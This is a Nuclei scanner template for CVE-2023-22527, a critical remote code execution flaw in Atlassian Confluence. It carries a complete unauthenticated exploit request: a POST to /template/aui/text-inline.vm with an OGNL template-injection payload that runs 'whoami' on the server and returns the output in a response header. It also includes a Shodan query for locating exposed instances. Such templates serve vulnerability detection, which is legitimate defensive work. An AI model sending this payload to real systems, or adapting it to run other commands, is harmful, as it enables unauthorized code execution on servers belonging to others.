id: CVE-2023-22527 info: name: Atlassian Confluence - Remote Code Execution author: iamnooob,rootxharsh,pdresearch severity: critical description: | A template injection vulnerability on older versions of Confluence Data Center and Server allows an unauthenticated attacker to achieve RCE on an affected instance. Customers using an affected version must take immediate action. Most recent supported versions of Confluence Data Center and Server are not affected by this vulnerability as it was ultimately mitigated during regular version updates. However, Atlassian recommends that customers take care to install the latest version to protect their instances from non-critical vulnerabilities outlined in Atlassian’s January Security Bulletin. reference: - https://confluence.atlassian.com/pages/viewpage.action?pageId=1333335615 - https://jira.atlassian.com/browse/CONFSERVER-93833 - https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/ - http://packetstormsecurity.com/files/176789/Atlassian-Confluence-SSTI-Injection.html - https://github.com/ramirezs4/Tips-and-tools-forensics---RS4 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-22527 cwe-id: CWE-74 epss-score: 0.96568 epss-percentile: 0.99595 cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: atlassian product: confluence_data_center shodan-query: http.component:"Atlassian Confluence" tags: cve,cve2023,confluence,rce,ssti,kev http: - raw: - |+ POST /template/aui/text-inline.vm HTTP/1.1 Host: {{Hostname}} Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader(\u0027x_vuln_check\u0027,(new+freemarker.template.utility.Execute()).exec({"whoami"})) matchers: - type: dsl dsl: - x_vuln_check != "" # check for custom header key exists - contains(to_lower(body), 'empty{name=') condition: and extractors: - type: dsl dsl: - x_vuln_check # prints the output of whoami # digest: 490a0046304402207a2fdad5fe27eb6c457c1bdac60461a10e3dd24f3b61a3883903ef1492f18d7202203ef5a8e34b86a3e1e139c76a3daee72643cb00ae3205564fa729bf4ce9a148ee:922c64590222798bb761d5b6d8e72950